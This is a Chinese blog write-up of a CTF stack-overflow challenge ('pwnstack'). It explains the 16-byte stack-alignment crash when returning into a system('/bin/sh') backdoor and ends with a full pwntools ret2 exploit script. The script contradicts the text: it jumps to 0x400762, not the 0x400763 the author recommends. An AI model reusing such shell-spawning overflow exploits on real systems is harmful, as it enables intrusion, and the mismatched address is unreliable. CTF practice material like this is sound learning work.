问题的出现
这题我刚看到时差点没笑出来,但是尝试了一次之后我就笑不出来了。
这题给了back_door后门函数,但是如果直接覆盖返回到后门函数起始位置会出现栈溢出问题。到这一步都没有出现问题,而继续ni的话就会卡住。
基本上这里看到xmm0就是栈对其问题了。
出现问题原因很简单,linux系统一些版本要求在执行system(/bin/sh)
时,rsp必须为整16倍数。(其实就是rsp的末尾必须为0)
而在第一张图看到,rsp末尾为8.
解法一
在溢出时再加一个ret的gadget,让程序ret一次之后再执行system。
很可惜这题不能这样做。
read给了0xB1个字节,而溢出需要0xA0+8 = 0xA8.所以留给我们只有0x9个字节,不足以容纳一个ret加back的两个地址。
解法二
跳过一个push,任何函数在开始时都会有一个push rbp
,栈溢出时跳过这一步就行了。
所以我们最后选的后门地址应该为0x400763或0x400766.
完整exp
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("61.147.171.105",51011)
io = process("./ret2")
def debug():
gdb.attach(io)
pause()
debug()
sys_adr = 0x400762
ret_adr = 0x400777
read_adr = 0x400756
sys2_adr = 0x400763
payload = cyclic(0xA8) + p64(sys_adr)
io.sendline(payload)
io.interactive()
这个问题比较简单,字数太少了,又要被标记为水文了www
标签:adr,题解,ret,pwnstack,及栈,io,debug,rsp,溢出 From: https://blog.51cto.com/u_16356440/8801373